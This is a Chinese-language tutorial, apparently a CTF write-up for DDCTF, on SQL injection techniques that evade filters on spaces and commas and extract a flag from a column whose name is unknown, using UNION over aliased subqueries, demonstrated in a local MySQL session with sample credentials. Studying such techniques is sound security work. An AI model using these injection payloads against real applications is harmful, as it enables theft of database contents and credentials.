Mysql如何巧妙的繞過未知字段名詳解。本站提示廣大學習愛好者:(Mysql如何巧妙的繞過未知字段名詳解)文章只能為提供參考,不一定能成為您想要的結果。以下是Mysql如何巧妙的繞過未知字段名詳解正文
投稿:daisy
這篇文章主要給大家介紹了Mysql如何巧妙的繞過未知字段名的相關資料,文中給出了詳細的示例代碼供大家參考學習,對學習mysql具有一定的參考學習價值,需要的朋友們下面來一起看看吧。前言
本文介紹的是DDCTF第五題,繞過未知字段名的技巧,這裡拿本機來操作了下,思路很棒也很清晰,分享給大家,下面來看看詳細的介紹:
實現思路
題目過濾空格和逗號,空格使用%0a,%0b,%0c,%0d,%a0,或者直接使用括號都可以繞過,逗號使用join繞過;
存放flag的字段名未知,information_schema.columns也將表名的hex過濾了,即獲取不到字段名;這時可以利用聯合查詢,過程如下:
思想就是獲取flag,讓其在已知字段名下出現;
示例代碼:
mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | a | b | c | d | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user; +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | | 1 | admin | admin888 | [email protected] | | 2 | test | test123 | [email protected] | | 3 | cs | cs123 | [email protected] | +---+-------+----------+-------------+ 4 rows in set (0.01 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e; +-------------+ | 4 | +-------------+ | 4 | | [email protected] | | [email protected] | | [email protected] | +-------------+ 4 rows in set (0.03 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3; +-------------+ | 4 | +-------------+ | [email protected] | +-------------+ 1 row in set (0.01 sec) mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i; +-------------+----------+----------+-------------+ | id | username | password | email | +-------------+----------+----------+-------------+ | 1 | admin | admin888 | [email protected] | | [email protected] | 1 | 1 | 1 | +-------------+----------+----------+-------------+ 2 rows in set (0.04 sec)
總結
以上就是這篇文章的全部內容了,希望本文的內容對大家的學習或者工作能帶來一定的幫助,如果有疑問大家可以留言交流,謝謝大家對的支持。